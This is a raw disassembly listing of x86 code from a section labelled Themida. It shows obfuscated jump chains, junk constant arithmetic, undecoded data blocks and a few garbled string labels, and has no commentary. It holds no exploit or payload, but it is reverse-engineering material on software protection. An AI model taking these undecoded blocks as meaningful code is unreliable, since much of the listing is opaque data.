loc_55AEFE:				; CODE XREF: Themida_:00551860j
		add	ebx, esi
		pop	esi
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_5577F2
; ---------------------------------------------------------------------------
		db 58h
		dd 2474FF53h, 48F5B04h,	54565C24h, 0FFE83CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55AF21:				; CODE XREF: Themida_:005563F1j
		pop	esi
		xchg	ebx, esi
		push	ebx
		jmp	loc_55CE30
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 851E9h, 4C48100h,	68000000h, 733Fh, 16C6E9h
		db 0
; ---------------------------------------------------------------------------

loc_55AF45:				; CODE XREF: Themida_:00552487j
		add	ebx, 37CD4DA7h
		push	dword ptr [ebx]
		mov	eax, [esp]
		add	esp, 4
		pop	ebx
		pop	ecx
		push	ecx
		jmp	loc_558640
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 191168h, 24148900h, 0E9CBB353h, 0FFFF7D62h, 4C281h
		dd 0B9510000h, 4, 0AD82E950h, 5859FFFFh, 8B66F830h, 0C483241Ch
		dd 23BF6802h, 1C890000h, 0DFB0E924h, 0E901FFFFh, 12CDE95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55AFA6:				; CODE XREF: Themida_:0055B547j
		pop	edx
		push	3D3Ah
		mov	[esp], eax
		jmp	loc_55D12B
; ---------------------------------------------------------------------------

loc_55AFB4:				; CODE XREF: Themida_:00555F43j
		mov	[esp], ecx
		mov	ch, 31h
		push	edx
		jmp	loc_559BCC
; ---------------------------------------------------------------------------
		db 83h
		dd 895104C4h, 0EC6853E1h, 0E900004Bh, 0FFFFF0E7h, 24048B66h
		dd 34FF5455h, 0C4835D24h, 4BE5604h, 1000000h, 93E95EF5h
		dd 0F7FFFF66h, 56230DD8h, 38356CBCh, 0E9122E19h, 0FFFFAF22h
		dd 582434FFh, 0C8B0E956h, 0B353FFFFh, 0B6526612h, 0BFCEE900h
		dd 0F480FFFFh, 865CE900h, 6659FFFFh, 81240C8Bh,	2C4h, 0FC33000h
		dd 8B66C0B6h, 3E92414h,	5CFFFFB6h, 0FF76D0E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55B039:				; CODE XREF: Themida_:00551B70j
		mov	edi, [esp]
		jmp	loc_555255
; ---------------------------------------------------------------------------
		db 66h,	5Bh, 0E9h
		dd 0FFFF6320h
; ---------------------------------------------------------------------------

loc_55B048:				; CODE XREF: Themida_:0055821Fj
		add	edx, 4
		jmp	loc_552A06
; ---------------------------------------------------------------------------

loc_55B053:				; CODE XREF: Themida_:0055AA00j
		mov	ebx, esp
		push	eax
		mov	eax, 4
		sub	ebx, 717A5DFBh
		add	ebx, eax
		add	ebx, 717A5DFBh
		pop	eax
		push	edx
		jmp	loc_557261
; ---------------------------------------------------------------------------
		dd 0E981E901h, 43762E0h, 1502C181h, 0C1810148h,	8B036C3h
		dd 0FFE9B1E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55B089:				; CODE XREF: Themida_:00554578j
		add	esi, edx
		pop	edx
		add	esi, edx
		sub	esi, 3BF039Ah
		mov	edx, [esp]
		add	esp, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		shr	ecx, 0Ah
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_55B978
; ---------------------------------------------------------------------------
		dw 489h
		dd 72B824h, 54062C4h, 745E242Eh, 56D0F748h, 0A74188BEh
		dd 4AF68118h, 130AFC9h,	875CE9F0h, 0C681FFFFh, 0BD189792h
		dd 8CDE9h, 24048B00h, 5704C483h, 2BFh, 7CEB8100h, 15F3360h
		dd 7CC381FBh, 5F5F3360h, 0E9241C87h, 0FFFFE847h, 0E924148Bh
		dd 0FFFFB59Ch, 3D41BD66h, 0FF9B19E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55B111:				; CODE XREF: Themida_:00552967j
		pop	edi
		and	ecx, edx
		push	dword ptr [esp]
		pop	edx
		jmp	loc_55C8B3
; ---------------------------------------------------------------------------
		db 0F6h, 0D3h, 86h
aS_6		db 'чИ* ',0
		align 2
		dw 3E2Dh
		dd 0F73B163Ah, 5FD02DD0h, 25483EB7h, 30C363B5h,	21A0E9h
		db 0
; ---------------------------------------------------------------------------

loc_55B13D:				; CODE XREF: Themida_:0055CCE3j
		add	esi, 4
		jmp	loc_556BA6
; ---------------------------------------------------------------------------
		dd 4B850h, 0C2010000h, 4C28158h, 87000000h, 0D35C2414h
		dd 5E92424h, 0FFFFFF62h, 5D042474h, 5C24048Fh, 2AB1C381h
		dd 0C301045Ch, 2AB1EB81h, 6DE9045Ch, 80FFFFE9h,	0DFF6E9EFh
		dd 8859C780h, 0E4805BFCh, 0FED4F6C7h, 885266C4h, 53D2F6E2h
		dd 0FFC44AE9h, 242C89FFh, 0FFD3D7E9h, 0FE2CB5FFh, 0FED5F6CDh
		dd 4EC81C5h, 0E9000000h, 0FFFF6B23h, 0E9FFEE83h, 0FFFF7E89h
; ---------------------------------------------------------------------------

loc_55B1C0:				; CODE XREF: Themida_:0055409Cj
		add	esi, 1
		add	esi, 75071245h
		add	eax, 3FBF01CFh
		add	eax, esi
		jmp	loc_55396D
; ---------------------------------------------------------------------------
		dd 4C481h, 0C3000000h, 0F3B25251h, 0FF6C24E9h, 242489FFh
		dd 0FFA8E7E9h, 0C4815EFFh, 4, 4C481h, 0EDBB0000h, 51BF5CDCh
		dd 0CB6F25B9h, 0ECC3814Ah, 15BBB0Eh, 0ECEB81CBh, 0E95BBB0Eh
		dd 0FFFF76AAh
; ---------------------------------------------------------------------------

loc_55B21C:				; CODE XREF: Themida_:0055CC78j
		xor	edi, 2FBB02A7h
		jmp	loc_55D2CD
; ---------------------------------------------------------------------------

loc_55B227:				; CODE XREF: Themida_:005585A1j
		pop	esp
		add	esp, 4
		shl	eax, cl
		jmp	loc_559F27
; ---------------------------------------------------------------------------

loc_55B232:				; CODE XREF: Themida_:00556423j
		mov	ebp, [esp]
		add	esp, 4
		xor	ebp, 17525CACh
		inc	ebp
		add	ebp, 0CF6205C3h
		push	ebp
		jmp	loc_5557D4
; ---------------------------------------------------------------------------
aObQHz		db '╫▌bц',0Ah
		db ')О]hZ<',0
		align 4
		dd 0B9240C89h, 7F044EADh, 5059CF29h, 6B0E9h
		db 0
; ---------------------------------------------------------------------------

loc_55B269:				; CODE XREF: Themida_:0055CAEFj
		mov	[esp], ebx
		mov	ebx, 4E733C9Ch
		sub	eax, ebx
		pop	ebx
		add	eax, esi
		add	eax, 4E733C9Ch
		pop	esi
		pop	esi
		push	edx
		mov	edx, 774776C3h
		not	edx
		shl	edx, 5
		jmp	loc_55AD4D
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 8124048Bh, 4C4h, 4EC8300h, 68242C89h, 32043F84h, 5DE8315Dh
		dd 1826E955h, 348B0000h, 8F11E924h, 0C181FFFFh,	662E405Ah
		dd 0DDC7E953h, 435EFFFFh, 5BA1BF57h, 0FB0120ACh, 81243C8Bh
		dd 4C4h, 68CB8100h, 0F77B393Ah,	0CEF381D3h, 81B713B0h
		dd 27494BEAh, 81DA2925h, 27494BC2h, 295D5B25h, 0EDEA81C2h
		dd 0E915F257h, 0FFFF6068h
; ---------------------------------------------------------------------------

loc_55B300:				; CODE XREF: Themida_:0055AC68j
		mov	edx, [esp]
		push	5011h
		jmp	loc_55BB7F
; ---------------------------------------------------------------------------

loc_55B30D:				; CODE XREF: Themida_:005535DFj
		add	eax, 345248F8h
		jmp	loc_5554B9
; ---------------------------------------------------------------------------
		db 0BDh
		dd 122E272Ah, 222EED81h, 0E5814E15h, 68786AE3h,	0D2BCD81h
		dd 0D5F71552h, 0ECCFED81h, 84E969BAh, 89FFFFBEh, 9C502414h
		dd 0FF6023E9h, 405FFh, 4050000h, 33000000h, 4312404h, 292E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55B35A:				; CODE XREF: Themida_:00555280j
		and	eax, ebx
		push	dword ptr [esp]
		jmp	loc_55657B
; ---------------------------------------------------------------------------
		dd 2C781h, 0FF570000h, 8B042474h, 0C483243Ch, 7673E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55B37A:				; CODE XREF: Themida_:0055A25Fj
		mov	ebx, 7A7E7938h
		and	ebx, 3AAE6709h
		sub	ebx, 64926507h
		shl	ebx, 4
		shr	ebx, 8
		sub	ebx, 0A44D548Ch
		mov	edi, ebx
		pop	ebx
		add	[esp+4], edi
		mov	edi, [esp]
		push	edi
		push	esp
		pop	edi
		push	ebx
		mov	ebx, 4C3F315Fh
		jmp	loc_55C8FD
; ---------------------------------------------------------------------------

loc_55B3AF:				; CODE XREF: Themida_:0055A536j
		sub	esi, 5D39F435h
		jmp	loc_5570F6
; ---------------------------------------------------------------------------
		dw 0B450h
		dd 58E33004h, 0FFCCC9E9h, 5FF901FFh, 5C240C87h,	36FB68h
		dd 0A5ACE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55B3D6:				; CODE XREF: Themida_:005557E1j
		xor	eax, 3FA067B3h
		jmp	loc_5528A3
; ---------------------------------------------------------------------------
		dd 0FF5F83E9h, 0D00158FFh, 1833E95Ah, 0F2810000h, 687C306Ah
		dd 0FF6B1AE9h, 0DBBF57FFh, 9394648h, 0D0F75FF8h, 271BA52h
		dd 0D0216BA0h, 1BB535Ah, 3141D663h, 0F5F1E9D8h,	0C781FFFFh
		dd 3892324h, 0E95FFD01h, 0FFFFC8D7h, 7A6D68h, 240C8900h
		dd 0FF6C0AE9h, 15F780FFh, 0C05BF900h, 0F18002E9h, 0E9C800BEh
		dd 0FFFF7CFAh, 0B4240489h, 13F3E99Fh, 215D0000h, 34FF1C47h
		dd 2065E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55B45E:				; CODE XREF: Themida_:0055BA79j
		pop	ebx
		push	edx
		mov	edx, 2
		add	eax, edx
		pop	edx
		jmp	loc_55C1BF
; ---------------------------------------------------------------------------

loc_55B46D:				; CODE XREF: Themida_:0055C405j
		not	eax
		jmp	loc_55ACE3
; ---------------------------------------------------------------------------
		dd 7BC5C781h, 0B0E920A5h, 83FFFF99h, 0FF5004C0h, 0E9042474h
		dd 0FFFFD177h
; ---------------------------------------------------------------------------

loc_55B48C:				; CODE XREF: Themida_:00556348j
		mov	[esp], edi
		mov	edi, esp
		push	edx
		jmp	loc_557CCB
; ---------------------------------------------------------------------------
		db 0Fh
		dd 9C51C8AFh, 0FF5EC7E9h, 241489FFh, 0F788E3B6h, 0B652665Ah
		dd 66F730B5h, 2EC835Ah,	24148966h, 80AFB353h, 0D2E94EEBh
		db 9Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55B4C3:				; CODE XREF: Themida_:00551833j
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		push	ecx
		mov	ecx, 3D50432Eh
		dec	ecx
		jmp	loc_551A61
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 7D59E95Bh, 48FFFFFh,	24048124h, 4, 40558h, 96E90000h
		dd 0B5FFFF97h, 80C5FE5Fh, 0EA88F5C5h, 7E2C059h,	0F280D2F6h
		dd 0FED2F6EDh, 89C280CAh, 886E9h, 24148B00h, 0FFD8C6E9h
		dd 525854FFh, 4BAh, 153A0500h, 0D0015894h, 94153A2Dh, 0FFDFE958h
		dd 2C89FFFFh, 0EAAE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55B542:				; CODE XREF: Themida_:00558E6Aj
		mov	edx, esi
		pop	esi
		add	ecx, edx
		jmp	loc_55AFA6
; ---------------------------------------------------------------------------

loc_55B54C:				; CODE XREF: Themida_:00557C96j
		add	ebp, offset word_530516
		push	eax
		mov	eax, 5E9574B1h
		inc	eax
		jmp	loc_557C9B
; ---------------------------------------------------------------------------

loc_55B55E:				; CODE XREF: Themida_:00557B23j
		sub	dword ptr [esp], 4D4039A5h
		pop	edx
		add	edx, 4D4039A5h
		pop	eax
		add	edx, ebp
		pop	ebp
		xor	[esp+4], edx
		jmp	loc_559745
; ---------------------------------------------------------------------------

loc_55B579:				; CODE XREF: Themida_:0055BB57j
		shr	al, 5
		not	al
		jmp	loc_556C8D
; ---------------------------------------------------------------------------

loc_55B583:				; CODE XREF: Themida_:00558461j
		add	bh, 0F6h
		sub	bh, ah
		sub	bh, 0F6h
		sub	bh, 2Fh
		add	bh, 0Fh
		pop	eax
		xor	al, bh
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_552235
; ---------------------------------------------------------------------------
		db 53h
		dd 0FF8951E9h, 0E95452FFh, 1130h
; ---------------------------------------------------------------------------

loc_55B5AC:				; CODE XREF: Themida_:0055C491j
		push	edi
		mov	edi, 4661DCDh
		push	683438Eh
		pop	ebx
		sub	ebx, edi
		pop	edi
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_5563D6
; ---------------------------------------------------------------------------

loc_55B5C6:				; CODE XREF: Themida_:00555A08j
		xchg	eax, [esp]
		jmp	loc_551612
; ---------------------------------------------------------------------------
aAcS		db '╤$─ФзИ',0
		db 9Fh,	2 dup(0FFh)
		dd 0E9243C33h, 0FFFF9DE3h
; ---------------------------------------------------------------------------

loc_55B5E0:				; CODE XREF: Themida_:00551D13j
		add	esp, 4

loc_55B5E3:				; CODE XREF: Themida_:00551CB7j
					; Themida_:0055B64Bj
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_555AF7
; ---------------------------------------------------------------------------
		dd 5C240433h, 0D2F7D587h, 0EA31D531h, 0E5C1D531h, 14F75507h
		dd 81455D24h, 0BE8600EDh, 175BE9A5h, 0C1810000h, 25014638h
		dd 8A6E9h, 240C8700h, 241C895Ch, 0C381E389h, 4,	4EB81h
		dd 1C870000h, 6E15E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55B636:				; CODE XREF: Themida_:005576ACj
		add	ebx, 55E3366Dh
		xor	dword ptr [ebx], 429B78D1h
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_55B5E3
; ---------------------------------------------------------------------------
		dd 1757EE81h, 0C6810FBAh, 0BB4AEB4Ch, 5A6CEB81h, 0D0E937A8h
		dd 0FFFFFFD0h, 81582434h, 4ECh,	24048900h, 405E089h, 53000000h
		dd 0FF4B20BBh, 0F381432Bh, 65D20719h, 518BE381h, 0CB813970h
		dd 8A41F31h, 0FF9667E9h, 4C483FFh, 21A1B850h, 0E8D10BD7h
		dd 0C4003205h, 8E0C109h, 7139262Dh, 44AC2527h, 7C0573ECh
		dd 1FFF3BFh, 666858C3h,	8900004Fh, 0B8502414h, 648F3796h
		dd 70C86CBAh, 91D8E99Bh, 34FFFFFFh, 2434FF24h, 0FF6D05E9h
		dd 40E281FFh, 0C160A03Dh, 814206E2h, 1E511DF2h,	2447C748h
		dd 9956EEF2h, 0FFD7B7E9h, 240C87FFh, 2404895Ch,	405E089h
		dd 53000000h, 0A2B850h,	0E94866D9h, 0FFFFBDA6h,	35E9D188h
		db 0Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55B71F:				; CODE XREF: Themida_:0055D0C4j
		mov	esp, [esp]
		jmp	loc_55A6C4
; ---------------------------------------------------------------------------
		db 53h
		dd 4F695FBBh, 5BD8890Fh, 48BC329h, 6C786824h, 2C890000h
		dd 81E58924h, 4C5h, 4C58100h, 55000000h, 0FFFA12E9h, 81E1D1FFh
		dd 5D6227C9h, 0B5F7E94Dh, 20B1FFFFh, 8060F180h,	0C9FEF2C9h
		dd 0E1D0C9FEh, 288CE980h, 0F80059CFh, 0E9241C8Bh, 0FFFF8241h
		dd 3A9768h, 0A713E900h,	0C89FFFFh, 7D0EB924h, 0C9812A92h
		dd 223E7F43h, 0FF7F22E9h, 4C481FFh, 68000000h, 5391h, 50241489h
		dd 52538EB4h, 0E950E688h, 18F4h, 586D71BAh, 9636BD71h
		dd 0D52998E8h, 4FBB535Ah, 0E9400563h, 0FFFFAB81h, 0E9240C33h
		dd 245h, 0E150E95Bh, 5F66FFFFh,	2C7568h, 242C8900h, 6CA8BD66h
		dd 66564566h, 663C7FBEh, 0EE816646h, 53E90B05h,	89FFFFAFh
		dd 1868241Ch, 0E9000023h, 0FFFF9439h, 51E28952h, 0FFF63EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55B811:				; CODE XREF: Themida_:0055866Aj
		sub	esi, ebp
		pop	ebp
		sub	esi, 48A55E6Ch
		sub	esi, 35203C6Ah
		jmp	loc_552675
; ---------------------------------------------------------------------------

loc_55B825:				; CODE XREF: Themida_:005526BEj
		push	5DE0705Fh
		pop	edi
		jmp	loc_553A3F
; ---------------------------------------------------------------------------

loc_55B830:				; CODE XREF: Themida_:005562F5j
		mov	ebp, 67AF67FDh
		inc	ebp
		inc	ebp
		sub	ebp, 4F9E40B5h
		jmp	loc_559586
; ---------------------------------------------------------------------------
		dw 5E54h
		dd 4C681h, 0C6830000h, 24343304h, 33243431h, 40E92434h
		dd 59FFFF65h, 3E3E9h
		db 0
; ---------------------------------------------------------------------------

loc_55B861:				; CODE XREF: Themida_:0055538Cj
		push	0C6Eh
		mov	[esp], ebx
		push	2416h
		jmp	loc_5592D6
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0EDE92424h, 8FFFFF5Ah, 4812404h, 424h, 0F7E95B00h
		db 0D8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55B88B:				; CODE XREF: Themida_:005521E1j
		add	ebx, edx
		pop	edx
		xchg	ebx, [esp]
		jmp	loc_556206
; ---------------------------------------------------------------------------

loc_55B896:				; CODE XREF: Themida_:00559F2Dj
		mov	[esp], ecx
		jmp	loc_55AD75
; ---------------------------------------------------------------------------
		dw 0C5E9h
		dd 68FFFF5Ah, 115Ch, 0FFE586E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55B8AD:				; CODE XREF: Themida_:00556BD8j
		pop	ebx
		xor	eax, 1D19FEFAh
		sub	ebx, 6829575Fh
		add	ebx, eax
		add	ebx, 6829575Fh
		jmp	loc_55BB5C
; ---------------------------------------------------------------------------

loc_55B8C6:				; CODE XREF: Themida_:00553221j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	ecx
		push	eax
		jmp	loc_55C296
; ---------------------------------------------------------------------------

loc_55B8DA:				; CODE XREF: Themida_:00556723j
		mov	ecx, [esp]
		add	esp, 4
		push	dx
		push	ebx
		mov	bh, 26h
		push	ecx
		mov	ch, 0C5h
		mov	dl, ch
		mov	ecx, [esp]
		jmp	loc_556717
; ---------------------------------------------------------------------------

loc_55B8F2:				; CODE XREF: Themida_:00556D50j
		mov	ebp, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		shl	ebp, 5
		push	6100h
		mov	[esp], eax
		mov	eax, 868A16C0h
		sub	ebp, eax
		pop	eax
		and	eax, ebp
		jmp	loc_55C130
; ---------------------------------------------------------------------------
		db 0B8h, 8, 60h
		dd 0C7293B28h, 5F6EE958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55B926:				; CODE XREF: Themida_:005559E2j
		mov	[esp], esi
		jmp	loc_55823B
; ---------------------------------------------------------------------------
		dw 3C87h
		dd 0F957E924h, 0C381FFFFh, 4, 9EA4E950h, 0EB80FFFFh, 0F3805945h
		dd 1B9168F4h, 14890000h, 2B05024h, 129BE9h, 81475E00h
		dd 287899F7h, 14F75775h, 0EF815F24h, 0D044DA4Bh, 0C15FFD89h
		dd 0E95502E5h, 17A2h
; ---------------------------------------------------------------------------

loc_55B978:				; CODE XREF: Themida_:0055B0A9j
		xor	dword ptr [esp], 596D1CABh
		mov	eax, [esp]
		push	3CE5h
		mov	[esp], edi
		jmp	loc_554186
; ---------------------------------------------------------------------------
		db 30h
		dd 0EEE9241Ch, 31FFFFF0h, 4332404h, 34FF5C24h, 0EC835824h
		dd 0A181E904h, 0F031FFFFh, 1B3FE95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55B9B2:				; CODE XREF: Themida_:00552C2Ej
		add	bl, 1Bh
		add	bl, 0F2h
		sub	bl, al
		push	cx
		mov	cl, 0F2h
		sub	bl, cl
		jmp	loc_5558E7
; ---------------------------------------------------------------------------
		db 58h,	51h, 0B1h
		dd 0E4CAE944h, 6858FFFFh, 3AAAh, 0E9241489h, 0FFFF68F4h
		dd 4C481h, 4CE90000h, 66FFFFDEh, 5224048Bh, 659A68h, 24248900h
		dd 4240483h, 13E9505Ah,	89FFFF5Bh, 14E92414h, 2CFFFF77h
		dd 53C828FDh, 0FFEDFBE9h, 2434FFFFh, 0FFF4DDE9h, 24248BFFh
		dd 236C68h, 24248900h, 4240483h, 5024048Fh, 4EC81h, 3C890000h
		dd 4BF24h, 0EC830000h, 243C8904h, 0AEFFE958h, 0E089FFFFh
		dd 4EC81h, 2C890000h, 4BD24h, 0E8010000h, 0E957555Dh, 0FFFFAD37h
		dd 0C067B050h, 0E8C005E8h, 0C40408h, 723BE9C3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55BA72:				; CODE XREF: Themida_:0055CFAFj
		add	eax, ebx
		sub	eax, 2FC54FE5h
		jmp	loc_55B45E
; ---------------------------------------------------------------------------

loc_55BA7E:				; CODE XREF: Themida_:0055D044j
		push	26FFh
		mov	[esp], ebx
		jmp	loc_558CC6
; ---------------------------------------------------------------------------

loc_55BA8B:				; CODE XREF: Themida_:0055C546j
		mov	ebx, [esp]
		jmp	loc_557FE3
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 24148900h, 3E7D68h, 24248900h,	0FF7024E9h, 69705FFh
		dd 0C701FF20h, 4C78358h, 0FFFE75E9h, 3B6856FFh,	89000029h
		dd 11B9240Ch, 50696A58h, 248F6855h, 455D087Eh, 0CE89ED81h
		dd 5855F6F8h, 0F05485Dh, 8957E502h, 0CE2958C6h,	0E92434FFh
		dd 0FFFFE60Ch, 81243C8Bh, 4C4h,	4C48300h, 8B24048Fh, 4BE92424h
		db 0C3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55BB03:				; CODE XREF: Themida_:005529D5j
		sub	edi, 2D1262B0h
		sub	edi, esi
		push	ecx
		jmp	loc_553805
; ---------------------------------------------------------------------------
		dd offset dword_457444+29224h
		align 2
		dw 1489h
		dd 8ADA8824h, 8804245Ch, 8B042454h, 0DBE92414h,	89FFFF7Ah
		dd 4C781E7h, 81000000h,	4EFh, 243C8700h, 8924248Bh, 14F6240Ch
		dd 240C8B24h, 4C481h, 0CB860000h, 0FFFFBCE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55BB55:				; CODE XREF: Themida_:0055A1D9j
		pop	cx
		jmp	loc_55B579
; ---------------------------------------------------------------------------

loc_55BB5C:				; CODE XREF: Themida_:0055B8C1j
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_5594D6
; ---------------------------------------------------------------------------

loc_55BB6B:				; CODE XREF: Themida_:00554957j
		shr	ebx, 5
		sub	ebx, 47B40433h
		xor	ebx, 0BA87B4C5h
		jmp	loc_552223
; ---------------------------------------------------------------------------

loc_55BB7F:				; CODE XREF: Themida_:0055B308j
		mov	[esp], edx
		mov	edx, esp
		jmp	loc_55951A
; ---------------------------------------------------------------------------

loc_55BB89:				; CODE XREF: Themida_:00551A41j
		mov	[esp], edx
		push	eax
		push	ebx
		push	3C71009h
		pop	ebx
		neg	ebx
		xor	ebx, 68CD4ECCh
		inc	ebx
		push	ebx
		not	dword ptr [esp]
		pop	ebx
		push	edi
		mov	edi, 6B0A4EC3h
		add	ebx, 26C2946h
		sub	ebx, 79085F25h
		sub	ebx, edi
		add	ebx, 79085F25h
		jmp	loc_5538D0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		not	dword ptr [esp]
		pop	ebx
		sub	ebx, 0F524EC36h
		jmp	loc_551A8B
; ---------------------------------------------------------------------------
		db 59h
		dd 0FF70D2E9h, 83CE81FFh, 81058C41h, 0B55212E6h, 6BE948h
		dd 0C4810000h, 4, 34FFE801h, 0C4815D24h, 4, 8B240487h
		dd 0FCE92424h, 29FFFFD9h, 0C3A9E9FBh, 8B66FFFFh
		db 0Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 650F7FE4h
		xor	ebx, 650F7FE6h
		jmp	loc_559093
; ---------------------------------------------------------------------------
		dd 5A66F000h, 0FF6532E9h, 0FF54BBFFh, 0DF29AFC3h, 5FFA015Bh
		dd 5C241487h, 9C2424D2h, 0FF5703E9h, 9C681FFh, 0E93BEC5Dh
		dd 0FFFFF04Eh, 8702C383h, 665C241Ch, 66C8AF0Fh,	0E5E99C51h
		db 56h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55BC83:				; CODE XREF: Themida_:00551989j
		add	esi, ecx
		pop	ecx
		sub	esi, 6E9D4E97h
		and	esi, 3BD61FB3h
		or	esi, 6D92005Eh
		xor	esi, 7FD21CFBh
		jmp	loc_55223F
; ---------------------------------------------------------------------------
		db 89h
		dd 4C281E2h, 83000000h,	148704C2h, 0EC815C24h, 4, 0E9242C89h
		dd 0FFFF8203h
; ---------------------------------------------------------------------------

loc_55BCC0:				; CODE XREF: Themida_:0055484Ej
					; Themida_:0055618Cj ...
		push	ebp
		push	ebx
		push	dword ptr [esp]
		jmp	loc_55A576
; ---------------------------------------------------------------------------

loc_55BCCA:				; CODE XREF: Themida_:00556F9Aj
		pop	ebp
		mov	edi, [esp]
		jmp	loc_554948
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0F3E906E9h
		db 0ACh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55BCDB:				; CODE XREF: Themida_:0055967Bj
		pop	esp
		jmp	loc_55BE9C
; ---------------------------------------------------------------------------
		db 8Bh,	14h, 24h
		dd 0FF7925E9h, 0BAC381FFh, 8B38B908h, 0C4812414h, 4, 0E904EC83h
		dd 0FFFF99B4h, 8B04C483h, 0C4812434h, 4, 81E78957h, 4C7h
		dd 4EF8300h, 5C243C87h,	352E9h
		db 0
; ---------------------------------------------------------------------------

loc_55BD21:				; CODE XREF: Themida_:00559985j
		add	esp, 4
		shr	ecx, 2
		push	esi
		sub	esp, 4
		mov	[esp], ebx
		pop	esi
		push	esi
		push	5D0Ah
		mov	[esp], eax
		jmp	loc_557306
; ---------------------------------------------------------------------------

loc_55BD3D:				; CODE XREF: Themida_:00556F60j
		add	edx, 21D75051h
		add	edx, eax
		jmp	loc_552758
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 4F7A6824h, 2D59757Bh, 29B40AFDh, 9658FB2Dh, 0E9C8011Bh
		dd 0FFFFEB4Dh
; ---------------------------------------------------------------------------

loc_55BD64:				; CODE XREF: Themida_:0055CD54j
		sub	esi, 6A1C014Ch
		jmp	loc_55A7D7
; ---------------------------------------------------------------------------
		db 58h
		dd 8BC8285Ah, 8950240Ch, 405E0h, 0C0830000h, 24048704h
		dd 665A665Ch, 0B6525152h, 0C1B05087h, 0C6283204h, 0F0885058h
		dd 0CEE9C588h, 4FFFFE8h, 2CD00030h, 332C5A30h, 5366D800h
		dd 0FE0FB151h, 63C980C9h, 4DE9C1FEh, 54FFFF8Eh,	45E9515Fh
		dd 6800000Bh, 4A9Bh, 89243C89h,	0BE5655E7h, 4, 815EF589h
		dd 8027E7C7h, 0E6E7E97Ah, 8953FFFFh, 4C381E3h, 81000000h
		dd 4EBh, 241C8700h, 2404895Ch, 59BB5352h, 0E911C92Bh, 0FFFFA924h
; ---------------------------------------------------------------------------

loc_55BE04:				; CODE XREF: Themida_:00558651j
		push	esi
		mov	esi, 0
		jmp	loc_555F4F
; ---------------------------------------------------------------------------

loc_55BE0F:				; CODE XREF: Themida_:0055ABF1j
		add	ecx, 4
		jmp	loc_559066
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 582434FFh, 0FFCEE5E9h, 0BE5659FFh, 61845084h, 0FF92F6E9h
		dd 48F59FFh, 0D3665C24h, 0E99C243Ch, 0FFFF5524h
; ---------------------------------------------------------------------------

loc_55BE44:				; CODE XREF: Themida_:00551601j
		add	edx, 4
		jmp	loc_5576B8
; ---------------------------------------------------------------------------
		db 80h
		dd 0D800F4C3h, 2434FF5Bh, 0E6895659h, 465FB951h, 0A7E941E3h
		db 0F7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55BE67:				; CODE XREF: Themida_:00557010j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	1E6Fh
		mov	[esp], edi
		push	10h
		mov	edi, [esp]
		push	esi
		mov	esi, esp
		push	ebx
		jmp	loc_55298D
; ---------------------------------------------------------------------------
		dw 1C31h
		dd 241C3324h, 0E924248Bh, 0FFFFF49Fh
; ---------------------------------------------------------------------------

loc_55BE9C:				; CODE XREF: Themida_:0055BCDCj
		mov	cx, [esp]
		push	6391h
		mov	[esp], eax
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		jmp	loc_551EF0
; ---------------------------------------------------------------------------
		db 0F7h
		dd 0CF92E9D1h, 0D2F7FFFFh, 8108E2C1h, 0D45A5DC2h, 5AD72901h
		dd 0C781F701h, 5C3A545Dh, 0FFB1D9E9h, 243489FFh, 44536850h
		dd 34FF07E1h, 0A3B6E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55BEF2:				; CODE XREF: Themida_:00553E71j
		mov	[esp], ebp
		mov	ebp, 34517252h
		jmp	loc_55295C
; ---------------------------------------------------------------------------
		db 81h
